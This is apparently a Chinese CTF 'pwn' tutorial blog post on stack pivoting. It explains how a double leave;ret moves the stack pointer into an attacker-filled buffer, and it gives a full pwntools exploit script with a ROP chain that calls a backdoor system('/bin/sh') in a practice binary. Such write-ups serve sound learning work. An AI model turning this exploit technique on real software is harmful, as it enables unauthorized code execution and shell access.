写在前面:
在上一篇博客开头提到了
很多时候,程序给的溢出空间不够,仅仅只能溢出到rbp,或者是返回地址,这个时候去构造rop链条打程序就行不通了,没有多余的空间给你去构造rop链条,那么我们可以使用栈迁移的技术,先在一个位置布置好rop链条,然后把程序的执行流迁移到我们布置好rop链条的位置,让程序执行流执行踏入我们布置好了的地方,就相当于之前的那种构造rop链条的手段,但是多了一个迁移栈步骤
栈迁移之任意地址写(pwn入门)_任意地址写攻击-优快云博客
现在我就来讲下这个栈迁移的步骤
分析一下程序,发现程序首先会有一个输出,输出变量buf的地址,然后有一个输入,输入的长度是0x60,刚刚好可以溢出覆盖到rbp和返回地址。
同时函数也有一个后门函数backdoor,里面可以去执行一个system的函数,传入参数“/bin/sh\x00”就可以提权了
如果说溢出空间足够的话,那么其实我们可以采用最基础的ret2text打程序
payload = b'a'*padding+ p64(rdi_ret) + p64(binsh_addr) +p64(ret)+p64(system_addr)
用这种rop链就可以打通了,但是关键在于这道题的溢出长度并没有那么多,最多只能溢出到返回地址,所以采用栈迁移来打
由于这里程序给了一个栈空间地址的打印,那么我们可以调试一下这里打印的地址到底在哪里
那么我讲下怎么打这个程序
由于这个程序本身是没有/bin/sh字符串的,我们可以把/bin/sh字符串写在栈上,写在0xab的位置,如下图所示
然后就是leave_ret的妙用的,在返回地址的位置填入leave_ret的gadgets片段,这个也是栈迁移的核心之一
也就是leave一共会执行两次
发现没,我们本身整个程序的话虽然说溢出的地方只能溢出到返回地址,但是现在的话,我们通过这个栈迁移实际上把这个rsp又移回到了原本栈空间的这个地方来,也就是可以输入数据的这个地方来,那如果我们已经在这里布置好了rop链,也就是pop_rdi binsh_addr ret backdoor那么我们就相当于是ret2text的打法了,不过是利用了一下栈迁移
所以说虽然本身只能溢出一个返回地址,我们通过一个leave指令的两次利用,改变这个rsp的内容又回到我们原本栈空间这个地方来,能够让程序再进行ret操作的时候直接踏入我们布置好的rop链,然后直接提权拿shell
所以可以直接写脚本了
首先的话先把对应的gadgets都找到,抓pop_rdi和ret
ropper -f test2 --search 'pop|ret' |grep ret
leave指令的地址的话在IDA里面随便找一个就行的
然后接受一下打印出来的栈空间的地址也就是rsp的地址
stack = int(p.recv(14),16)
print("stack -->" + hex(stack))
最后布置一下rop链,原理上面已经分析过了
payload = flat([
0x1,
pop_rdi,
stack + 0x28,
ret,
backdoor,
b'/bin/sh\x00'
])
payload = payload.ljust(0x50,b'\x00')
payload += flat([
stack,
leave
])
唯一需要提的一个点就是/bin/sh的地址的偏移是多少怎么找到的,就是这个stack + 0x28这个0x28偏移怎么找到的呢,其实就是在gdb里面调试一下就知道了
边调试边看我们这样子构造输入的/bin/sh的位置距离我们泄露出来的地址的位置的距离是多少,相减一下就可以了
exp:
from pwn import *
context(log_level = 'debug',arch = 'amd64',os = 'linux')
p=process("./test2")
elf = ELF("./test2")
p.recvuntil(b"str1 is ")
stack = int(p.recv(14),16)
print("stack -->" + hex(stack))
leave = 0x4011DD
pop_rdi = 0x000000000040126f
ret = 0x000000000040101a
backdoor = 0x401248
#backdoor = elf.sym.backdoor
payload = flat([
0x1,
pop_rdi,
stack + 0x28,
ret,
backdoor,
b'/bin/sh\x00'
])
payload = payload.ljust(0x50,b'\x00')
payload += flat([
stack,
leave
])
p.recvuntil("input2:")
sleep(0.3)
p.send(payload)
sleep(0.3)
p.interactive()
写在最后:
如果说,不给我们打印rsp也就是栈的地址呢,那我们怎么做?
我们可以把栈空间迁移到另外一部分可读可写(rw)的空间里面去操作呀
比如说哪些内容可读可写呢?.bss段就是常见的一个空间
我们就可以把栈迁移到.bss段去
迁移方式的话还是可以利用这个leave指令去操作,但是需要结合read函数了(输入函数)
原理和本质还是一样